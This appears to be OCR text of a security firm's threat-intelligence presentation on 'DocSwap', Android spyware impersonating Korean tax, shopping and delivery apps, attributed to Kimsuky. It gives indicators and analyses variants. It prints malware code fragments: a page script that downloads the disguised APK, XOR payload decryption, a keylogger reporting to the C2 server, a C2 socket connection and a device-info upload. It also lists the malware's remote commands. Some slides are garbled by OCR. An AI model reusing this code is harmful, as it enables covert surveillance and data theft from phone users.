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Keynotes

« On January 21, a new malicious app was identified on VirusTotal, with only 2 detections at the

time.

« The app disguised itself as a secure document viewer, but analysis revealed its C2 server linked

to CoinSwap. It was therefore named “DocSwap.”

« The campaign distributed apps impersonating the Korean National Tax Service, e-commerce

platforms, and logistics companies, specifically targeting Naver users in Korea.

« A total of 10 DocSwap samples were identified and categorized into Types A, B, C, and D. Over

time, the variants show increasing focus on defense evasion techniques.

« Based on C2 infrastructure similarities and information sharing with Korean law enforcement

agencies, the activity was attributed to Kimsuky.
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Background

The Risk of DPRK's Mobile Threat
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(+FastSpy)
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Background

Why They Targeting Mobile?

GPS

O SMS & Messenger
&
[ X X X X ]

(1

OTP, 2FA

Notification

=]

'.' Real-time camera&
Y microphone

Mobile devices are always on Contact list
+ Good for real-timespying = .. Mobile App User
***** credentials
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Background

Why They Targeting Mobile?

From the perspective of attack targets and stolen data, alighed with the characteristics of APT groups

Also Known as
APTA43, Emerald Sleet, Velvet Chollima, etc

Mobile Malware
U3

AppleSeed, BRI EMEN AT =15 8]V ** First Identified by S2W

Target Country

South Korea

Deploy Theme

KISA Mobile Vaccine, Google Secure Plugin, Hancom Office Viewer, Naver Mail. etc

Kimsuky

g — —
(@
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Background

Why They Targeting Mobile?

TargetCountry: South Korea
For Information gathering
AppleSeed ‘
FastViewer
FastSpy

DocSwap
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Introduction

First Identified

2

@ 2/6T security vendors flagged this file as malicious

certification_v1.01.apk

Community
Scare android reflection apk XOrcrypt obfuscated checks-gps
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETR|
Dynamic Analysis Sandbox Detections ©
/N The sandbox Zenbox android flags this file as: MALWARE , RANSO J E E

bf134495142d704f3009a7d325fb9546db40797 lade224e3718a84254e5ff03e

[0 Follow ~ ' Reanalyze

Size
5.75MBE

telephony

A, Download ~~

Last Analysis Date

1 month ago

= Similar ~~

- -3
iml
APK

More

MD5: 3ccfe58b8e0Ob5ca96cac4e9394567515
First Seen: 2025-01-19

Detection: 2/67

Security vendors' analysis on 2025-01-19T14:16:05 UTC ~~

Popular threat label () trojan.

Avast-Mobile @ APK:RepMalware [Trj]
Acronis (Static ML) (-.:/:1 Undetected
Alibaba (,,:/:1 Undetected
AlYac ({/) Undetacted
Arcabit G/) Undetected

Threat categories  trojan

KTGW () Trojan (005b19b31)
AhnLab-v3 (-.:/:1 Undetected
AliCloud (,,:/_) Undetected
Antiy-AVL ) Undetected

Avast (:f_) Undetected

$S2W

‘Sate and Seeure World
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Overview

First Identified

b @ 2/6T security vendors flagged this file as malicious [ Follow ~~ C Reanalyze & Download ~ == Similar ~ More ~
/67 bf134495142d704f3009a7d325fb9546db40797 1ade224e3718a84254e0ff03e Size Last Analysis Date Iﬁl
certification_v1.01.apk 5.75 MB 1menth ago APK
Community
Scare android reflection apk XOrcrypt obfuscated checks-gps telephony

erecnon o rewrons smor o raeverd| MDD 3cCfeb8b8e0bbca96cac4e9394567515
o First Seen: 2025-01-19

M T st Zenbos ot ags s a5 MALWARE RANSOM TROJAY, EVADER Detection: 2/67 ¢

Securey vendors' analyss on 205015711605 UTC Type: BackDoor

Threat Actor: ?

Avast-Mobile @ APK:RepMalware [Trj] T TOTETTT T T
Acronis (Static ML) (-.:/:1 Undetected AhnLab-v3 (-.:/:1 Undetected
Alibaba (,,:/:1 Undetected AliCloud (,,:/_) Undetected
AlYac ({/) Undetacted Antiy-AVL ({/:l Undetected
Arcabit (,,:/:1 Undetected Avast ({,:, Undetected
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Overview

First Identified

Socket C2 Server
204.12.253.10 (AS 32097, US)

« http://hange.pi-usdt.o-r.kr Convert Pl to USDT

Easily and securely convert Pl coins to USDT

VIEW SERVICES

« http://change.pi-usdt.o-r.kr

Seamlessly convert Pl to USDT

GB SZW Copyright © 2025, S2W Inc. 13



Security ument Viewer

+ Coin



Overview

Who is the target?

First identified Hash (MD5) C2 Country/ASN DNS Replication
2025-01-19 | 3ccfeb58b8e0b5ca96cacd4e9394567515
2025‘03‘04 faC151e4b52559C803f056b2bC98ed67 US/ Change pi_usdt O-r kr
204.12.253.10 " o
2025-03-18 | 0679801ba195a750c76326549ad6587a ASN 32097 hange.pi-usdt.o-r.kr
2025-03-21 |8043349196d70744ff3d7ed00d6d899d
airdrop.p2pb2b.kro.kr
KR/ ntax.live-on.net
2025-08-07 |86da5e00a9c73c9chb0855805¢cbc38c4a|27.102.137.180 nts-co.live-on.net
ASN 45996 oe :
npsbiling.live-on.net
2025-08-11 | 36677d732da69b7a81a46f9a06c36260
2025-08-13 | 356766aa15748a65dc0e09ef5b0c01a3 nps-tax.server-on.net
KR/ nts-store.server-on.net
2025-08-20 ad3b0f4e2e7462c6a100eae8de/676fc | 27.102.137.181 ASN 45996 nts-kr live-on.net
2025-09-11 | 3a2a9f205c79ee45a84e3d862884fd72
2025-09-11 27ea’7ef88724c51bbe3ad42853bbc204
L S2W Copyright © 2025, S2W Inc. 15



Hjol A2 E? 4 A004 ofZ /g, =g

ZIHE EWH FAE f'1| n-info.npsbiling live-on.net 22 =4 DIII‘3+| EHE Q0 DHEY
Of ZH=te M= Zlo] A EEULh 2 24 EASA HES SE0HE Ho[HE .

| received an email suspected to be phishing.
Subject: [Notice from the National Police Agency]
However, it links to , Whichis a
phishing site designed



Overview

Who is the target?
 Firstidentify: 2025-08-04
 Distribution URL:
https://delivery.cjlogistics.kro.kr/store/tracking.php?id=cssist S5t By v ¥ Jci5jb20=

Base64 Decode: ric****@naver.com

* Firstidentify: 2025-08-13
 Distribution URL:

https://mobile.auction.server-on.net/tracking.php?id=% Mua A0 S vy MNvbQ==
Base64 Decode: cho******@naver.com

\o Target: Naver Users

65 Szw Copyright © 2025, S2W Inc. 17



Overview

Deploy

« MD5:

dc0222382e635d738ee3568bc/7661ab7

+ MD5:f8b5937041d98b2aae2d256d110ac598

Security authentication error
Please install the authentication app
first for secure viewing.

O 52W

Copyrigh

Notice
After installing the secure document viewer app,
please open the document through the app. This app
complies with the National Tax Service (NTS) official
security standards and has completed virus scanning,
ensuring it is safe.
App Download

(© 20275, SZW INnC.




MD5: dc0222382e635d738ee3568bc7661ab7

javascript (Skeleton)

MD5: f8b5937041d98b2aae2d256d110ac598

javascript (Skeleton)

<script>
async function downloadAPK() {
const response = await fetch(‘http://authapp.dns-
down.o-r.kr/download/proxy.php’):
const base64Data = await response.text():
const binaryData = atob(base64Data):
const blob = new Blob([arrayBuffer], {
type: "application/vnd.android.package-
archive"
});
link.download = "certification_v1.01.apk":
link.click():
URL.revokeObjectURL(link.href):
</script>

<div class="alert-box">
<h2 style="color:#c80000">& &l</h2>
<p id="customAlertMessage"></p>
<div class="button-container"
id="downloadButton">
<a href=https://download.nts-app.n-
e.kr/download/safeviewer_v1.0.1.apk
class="download-btn" onclick="downloadAPK()">%
CI22E</a>
</div>
</div>




Overview

Deploy (Auction)

Egoiof o5 HMojEla YUSL
Lj 2.

Hotdo] O|fE RHIZAT BS JhsELCH

For security reasons, access is

only available on mobile devices. .
The app may not be installed or may

be an older version. We recommend

installing the latest version.

Copyright © 2025, S2W Inc.



Overview

Deploy (CJ Logistics)

C% Oigrs2

For security reasons, this cannot be viewed on

a PC. Please access it via your smartphone.
2oty O|RE PCUM= =2 + flaLCh

Mo

e . CJ.‘ ]
< Undergoing delivery

All=EoR Hatl MG security inspection A—
W S 22t HAL S Securit?| module not installed
T2 QR ZEE AGHO HIZEH S L3 T KL 217 s g stel BT S
- —_— e usa o ey
Or scan the QR code to install the delivery Checking device
tracking app and check your order. security status...

A delivery security app has not been
detected on your device. Please install
the security authentication app and

proceed with identity verification.

nstall the security app
65 Szw Copyright © 2025, S2W Inc. 21
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In-depth Analysis

Execution Flow

n Keep Persistence

Notification
Permission
Decrypt & [ ‘
Dynamic APK load } / [ Request Permission Collect Sensitive Data Send Response |
v > A > . ° : ‘
Send Malicious
DocSwap security.db Dangerous MainService Command 2 Server

Permissions

- |
Start Keylogging ‘“":. ) Send logged data

> lIlllll.
III—III

Accessibility
Service

Accessibility
Permission

55 SZW Copyright © 2025, S2W Inc.



In-depth Analysis

Function

(Decrypt Payload) o Open source: LoadedApkPlugin

Code

public static void dumpFile(String assetsPath, String destPath) {

MainActivity onCreate()
>

dumpkFile("security.db")

DocSwap

while((readCount = in.read(tmpbt)) I= -1) {
for(inti=0:1<1024; ++i) {
tmpbt[i] = (byte)(tmpbt[i] * OXFFFFFFC9):
}

out.write(tmpbt, 0, readCount):

} XOR Operation Code Added

65 SZW Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Dynamic APK Load)

ActivityThread

mPackages

LoadedApk

Host Application

O 52W

Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Dynamic APK Load)

getPackagelnfoNoCheck()

ActivityThread

mPackages

|
B

security.db

LoadedApk

Host Application

1.

Get LoadedApk Instance from

“security.db”

O 52W

Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Dynamic APK Load)

getPackagelnfoNoCheck()

ActivityThread

mPackages

|
B

security.db

>

Inject

-

LoadedApk

|

—

)

Host Application

Get LoadedApk Instance from

“security.db”

Inject LoadedApk into
ActivityThread.mPackages

O 52W

Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Dynamic APK Load)

getPackagelnfoNoCheck()

ActivityThread

mPackages

|
B

security.db

Inject

>

-

LoadedApk

|

—

Get LoadedApk Instance from
“security.db”

Inject LoadedApk into
ActivityThread.mPackages

Execute Plugin Activities

)

Host Application

> AMaIicious Service & Activity

O 52W

Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Persistence)

Notification Register Receiver

Intent
3 Bluetooth android.intent.action.BOOT_ COMPLETED

Intent android.intent.action.ACTION_POWER_CONNECTED

® Do Not Disturb android.intent.action.ACTION_POWER_DISCONNECTED

Boot

. A com.security.library.MainService
Receiver

L XHMISH L) . ey

Document Viewing Authentication App is Running.
Tap to view details or stop the app.

65 Szw Copyright © 2025, S2W Inc. 29



In-depth Analysis

Function
(Keylogging via Accessibility Service)

public void onAccessibilityEvent(AccessibilityEvent)

String eventText = getEventText(event);
String package = getPackageName();
String icon = getlconBase64();

\ Date date = new Date()

Code (Skeleton)

© Do Not Disturb

Start Keylogginé if (isOnlineKeylogger)
Send2Server(icon + eventText + package + date):

Send to C2 Server

\_ B0 SHISA AT Sod HES 3SR, ) If ("mounted".equals(getExternalStorageState()))
File file = new File(getAbsolutePath() + "/" + "Security");
WriteLog(eventText + packageName + date);

To ensure the app functions properly,
please enable accessibility permissions. Write to local file

65 Szw Copyright © 2025, S2W Inc. 30



In-depth Analysis

Function

(Socket Communication)

Code (Skeleton)

int port = 6834

InetAddress serverlp = “204.12.253.10" ;
InetSocketAddress socketAddress = new InetSocketAddress(serverlp, port);
Socket socket = new Socket();

socket.connect(socketAddress, TIMEOUT);

I

Command Description
10254 Stop audio recording
10255 Send wallpaper data
10256 Start audio recording
10310 Display a toast message
10311 Turn off vibration
10312 Turn on vibration

10254 ~ 10312
Total 57 Command

@
N

Data Theft

%& Eavesdropping
a Covert recording

O 52W

Copyright © 2025, S2W Inc.
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In-depth Analysis

Function
(Socket Communication)

Command Description Command Description Command Description Command Description
10254 Stop audio recording 10269 Send location info 10284 Execute shell commands 10301 Disable keylogging mode
10255 Send wallpaper data 10270 Stop location tracking 10285 Create afile or directory 10302 Add SharedPref values
10256 Start audio recording 10271 Send call log data 10286 Rename a file 10303 Delete call log
10257 Send camera info 10272 Send registered account info 10287 Delete a file 10304 Delete contact
10258 Start camera recording 10273 Send contact info 10288 Delete files (using rm -f) 10305 Add contact
10259 Stop camera recording 10274 Send SMS data 10289 Change Wallpaper 10306 Grant admin privileges
10260 Adjust camera mode 10275 Send installed app info 10290 Copy a file 10307 Open a file
10261 Send directory Info 10276 10291 Play media 10308 Send all activity name
10262 Send video or image files 10277 10292 Stop media playback 10309 ®
10263 Send Bitmap images of video 10278 X 10295 Compress file into a ZIP 10310 Display a toast message
10264 ® 10279 Make a phone call 10296 Extract a ZIP file 1031 Turn off vibration
10265 Send file size & absolute path 10280 ® 10297 Send keylogging data 10312 Turn on vibration
10266 Send file data (GZIP encode) 10281 Reconnect socket 10298 Read and send text files
10267 Send text file data 10282 Close socket 10299 Delete a file
10268 Download file from server 10283 Write file data 10300 Enable keylogging mode

Total 57 Command

O 52W

Copyright © 2025, S2W Inc.
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Variants

Variants

From January to September 2025, 10 DocSwap samples with different hashes were identified.

App Icon Package Name Label Name Payload App Icon Package Name Label Name Payload
0 2 O|= OoH H H PZB
A EE S A ® com.airdrop.security Airdrop
Document Viewing
Authentication App
Certification App com.delivery.security
com.security.library security.db security.dat
=S4
: : Auction
Hot ZA 7O com.auction.delivery
Security Document Viewer
: : s : : Bycom
@ com.delivery.security HOHl &2l security.dat com.bycomsolutions.bycomvpn VPN search.db
Security Delivery Confirmation
L S2W Copyright © 2025, S2W Inc. 34




Variants

Commonality

From January to September 2025, 10 DocSwap samples with different hashes were identified.

App Icon Package Name Label Name Payload App Icon Package Name Label Name Payload
0 2 O|= OoH i 1 PZB
A EE S A ® com.airdrop.security Airdrop
Document Viewing
Authentication App
Certification App com.delivery.security
com.security.library security.db security.dat
: : Auction
Hot ZA 7O com.auction.delivery
Security Document Viewer
: : s . : Bycom
@ com.delivery.security HOHl &2l security.dat com.bycomsolutions.bycomvpn VPN search.db
Security Delivery Confirmation
L S2W Copyright © 2025, S2W Inc. 35




Variants

Difference

A total of 10 distinct DocSwap instances with different hash values were identified,
and it was confirmed that 4 certificates were used.

* 2 Samples

- Original Function

* 3 Samples

- Using phishing view
- Change payload file name

»

— 2025-03-01 2025-08-14
Signing
TimeStamp» i L] O] L]
2024-12-13 2025-05-20
2 Samples 2 Samples
- Implementation library - Repackaging

O 52W
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Variants

Difference

A total of 10 distinct DocSwap instances with different hash values were identified,
and it was confirmed that 4 certificates were used.

TimeLine )) - ] ] | »
2024-12-13 2025-03-01 2025-05-20 2025-08-14
Category Type A Type B Type C Type D Type D-R
Certificate 2024-12-13 2025-03-01 2025-05-20 2025-08-14 2025-08-14
Signing (12:53:38) (20:16:05) (18:41:34) (00:38:45) (00:38:45)
Encrypted : ! . :
Payload security.db security.db security.dat security.dat search.db
Drencer}(/ﬁglé)n Processing within the DEX Native method Native method Native method | Native method
Library Name X libnative-lib.so libnative-lib.so libnative-lib.so | libbycomvpn.so
XOR Key 0xC9, OxB1 Ox5AA3C79F Ox541161FE Ox541161FE O0x201925EA
Repack X X X X @

O 52W

Copyright © 2025, S2W Inc.
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Variants

Difference
TimeLine )) - ] L] -~ »
2024-12-13 2025-03-01 2025-05-20 2025-08-14
(Type A)
« Sample1 Sample 2
« MD5: 3ccfe58b8e0b5ca96cac4e9394567515 MD5: 8043349196d70744ff3d7ed00d6d899d
Code (Skeleton) Code (Skeleton)

public static void dumpFile() {
-y
.... [/ Make file
while((readCount = in.read(tmpbt)) != -1)
for(inti=0:i <1024; ++i)
tmpbt[i] = (byte)(tmpbt[i] * OxC9):
out.write(tmpbt, O, readCount);

public static void dumpFile() {
-y
.... [/ Make file
while((readCount = in.read(tmpbt)) != -1)
for(inti=0:i<1024; ++i)
tmpbt[i] = (byte)(tmpbt[i] * OxB1);
out.write(tmpbt, 0, readCount);

O 52W

Copyright © 2025, S2W Inc.
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Variants

Difference
TimeLine )) - ] L] -~ ”
2024-12-13 2025-03-01 2025-05-20 2025-08-14
(Type A)
« Sample 2
MD5: 8043349196d70744ff3d7ed00d6d899d
Code (Skeleton)

String victiminfo = "{getUserAgent() + “Android” + Build.MODEL + Build. MANUFACTURER + currentTimeMillis()}";
connection = new URL("http://checkinfo.dns-down.o-r.kr/download/log_device.php").openConnection();

connection.setRequestMethod("POST");  Transmit device info from MainActivity

65 Szw Copyright © 2025, S2W Inc. 39



Variants

Difference
TimeLine )) - ] L] -~ »
2024-12-13 2025-03-01 2025-05-20 2025-08-14
(Type B)
« Sample 3
P Code (Skeleton)

« MD5: fac151e4b5255ec803f056b2bc98ed67
public class HookManager {

public String TAG;

private Context context; int64 xorDecrypt()

private static Hookmanager instance;

static {
Ssystem.loadLibrary(“native-1ib"};

¥

Call method decryptFile()

Start using libnative-lib.so

To decrypt “security.db"

xorKey = [OX5A, OxA3, OxC7, Ox9F]
while (lendOfFile(file)) {
char encrypted = readByte("“security.db"):
decrypted = xorKey[i & 3] * ((~encrypted >>
3) | (5 << ~encrypted));
4-byte key + (XOR + Rotate Shift + NOT)
writeByte(outputStream, byteRead);
I++;

O 52W

Copyright © 2025, S2W Inc.
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Variants

Difference
TimeLine )) - ] L] -~ ”
2024-12-13 2025-03-01 2025-05-20 2025-08-14
(Type B)
« Sample 3
P Code (Skeleton)

+ MD5: fac151e4b5255ec803f056b2bc98ed67

public class HookManager {
public String TAG,
private Context context; Call method

private static HookManager instance; getDecryptedDomain()

static { To decrypt the URL int64 getDecryptedDomain()
system.loadLibrary("native-1ib"}; for sending logs strcpy(encoded, “aHROcDovL2Rvd25sb2FKL....")
} decoded = base64Decode(encoded)
Start using libnative-lib.so return decoded http://download.nts-app.

o-r.kr/download/log_device.php

65 Szw Copyright © 2025, S2W Inc. 4]



Variants

Difference
TimeLine )) - B L] -~ ”
2024-12-13 2025-03-01 2025-05-20 2025-08-14
(Type C)
e S le 4
ample Code (Skeleton)
« MDb5: 36677d732dab9b7a81a46f9a06¢c36260
public class HookManager {
public String TAG;
private Context context; int64 xorDecrypt()
private static sookManager instance; | Call method decryptFile() xorKey = [0x54, 0x11, 0x61, OXFE]
static { To decrypt “security.db" while (lendOfFile(file)) {
System.loadLibrary("native-1ib"}; char encrypted = readByte("“security.dat"):
} decrypted = xorKey[i & 3] * ((~encrypted >>

3) | (5 << ~encrypted)):
Still using libnative-lib.so

writeByte(outputStream, byteRead);
+ Payload file name has been changed (security.db - security.dat) I++;

+ XOR Key Changed (Ox5AA3C79F - 0x541161FE) }

+ Library function deleted (getDecryptedDomain)

55 SZW Copyright © 2025, S2W Inc.
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Type C

Sample 4

Identity Verification
=21 =9l

HIAHS B 2246l ISHSE WoIEH R

Get verification code

+ Using Phishing View (no functionality)

| @ A"'
o' HOMH{SEI

Confirmation




Type C

Sample 5

+ Using Phishing View (no functionality)

340 | ©

Airdrop

\ VL 351 [l © ML

Wallet Address Verification
X2t =4 gol

Adress Verification




N egey gy Ay =
[ ‘v',/;,:l'.—_

Z4 0I12l =4l

5 ARMES HAE BaY WY HUS NojAsd

- Sample 6 _ 212l & J1=5201
RK02E £/2/Y

+ Changed to use the real website

ALLKIiLL.

SUCIM  SHEHM  FE|YS

—

AUCTION.




Variants

Difference

TimeLine )) - L]
2024-12-13 2025-03-01

2025-05-20

] »

2025-08-14
(Type D-R)

BYCOM VPN

Bycom Solutions
Contains ads - In-app purchas

« Sample 7
e MDb5: 27ea7ef88724c51bbe3ad42853bbc204

+ Legitimate app repackaged with DocSwap
(Impersonate BYCOM VPN)

+ Library filename changed
(libnative-lib.so - libbycomvpn.so)

About thisapp >

BYCON ur trusted companion for unlocking the power of online privacy. With our robust ap u can browse the wel
secur % =

Data safety -

Y

App support v

More by Bycom Solutions >

Qibla Mini
ﬁ Bycom Solutions

BYCOM VPN

Suraksha - India's Fastest VPN
Bycom Solutions
1,000

Hindustaan - Desi Short Videos
Bycom Solutions

Varthaloka | Kannada News Port
Bycom Solutions

J OneAlert - For Onesignal
‘ Bycom Solutions

M

’

?

O 52W
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Variants

Difference

- ]

TimeLine ))

2024-12-13 2025-03-01

« Sample 7
e MDb5: 27ea7ef88724c51bbe3ad42853bbc204

+ Legitimate app repackaged with DocSwap
(Impersonate BYCOM VPN)

+ Library filename changed
(libnative-lib.so - libbycomvpn.so)

+ Payload filename changed
(security.dat - search.db)

+ XOR Key Changed (Ox5AA3C79F - 0x201925EA)

L]
2025-05-20

2025-08-14
(Type D-R)

»

if{lutactivity. ishooked) {

try {

Lti]s.getlnstancetthis.getEaseEDntext(}:|1Gad5EEPEhDE(this.getﬂasetontext(!;
UIactivity.ishooked = true;

b

catch(Exception

throw
h
h

exceptiong) {
new RuntimeException(except]

>
public void loadSe€fChDB(Context

or =

context®) throws Exception {

File filee = new File(string.format(“X*s/search.db”, contexte.getrFilesDir().getabsoluterath({)}});
" - r ~ =k | e L)

Ta

o

A

FoiE "= Tem rriere,
iF(filet. brists())
fileiljdelete();
¥
¥
int _ fastcall Java_com_bycomsolutions_bycomvpn_utils_Utils_DBProcess(_JNIEnv *al, int a2, void *a3, woid *a4)
1

const char *v7;
const char *va;
int v9; B
int v1@;

int result;

int wl2;

int dex_fromfile;

2 _ £

¢7 = al-»functions->GetstringUTFChars(&z1->functions, a3, @);

xorDecrypt(v7?, vi

g - >GetStringUTFChars (&al->functions, a4, @);
=M. // Decrypt Payload

: ]
tions->*FindClass(&al->functions, "com/bycomsolutions/bycomvpn/utils/Utils");
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5. Attribution



Attribution

Home Services Login Sign Up

CoinSwap

Convert Pl to USDT

Easily and securely convert Pl coins to USDT

VIEW SERVICES

Seamlessly convert Pl to USDT

Threat Actor: ?

B3 UNSI-019

Target: South Korea

Malware: DocSwap
** UNSI: Unknown, but S2W Identified

O 52W
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Attribution

. 20250221 00000 2025-02-27

CoinSwa
i [ 204.12.253.10/ X+

& C W Q https//204.12.253.10

Million OK !

Convert Pl to USDT

Easily and securely convert Pl coins to USDT

VIEW SERVICES

Naver favicon + Million OK!!

\Em puNK-004

(suspected subgroup of Kimsuky)

Seamlessly convert Pl to USDT

puNK: Partially Unidentified
North Korean threat actor
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Attribution

Same Infrastructure

,27.102.137.180 - >
pd (KR, DACU) communicate with
/27102137181 <o >
(KR, DAOU) &= puNK-004 DocSwap
Q ¢Impersonate
=N O
Korea Nation Tax Service™, ~._ A1 164.66.44
S Kimsuky %
N communicate with N\t
*27.102.138.226 - *
(KR, DAQOU) BabyShark

File name: wallet.chm

o S2W Copyiiant © 2005, o] MD9: 20289467 cd3befc95f8a91837a2de192




Attribution

UNSI-019 puNK-004

65 Safe and Secure World

v
8
Law
enforcement

Kimsuky
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Thank you

X @bestishj § khjisbest@s2w.inc
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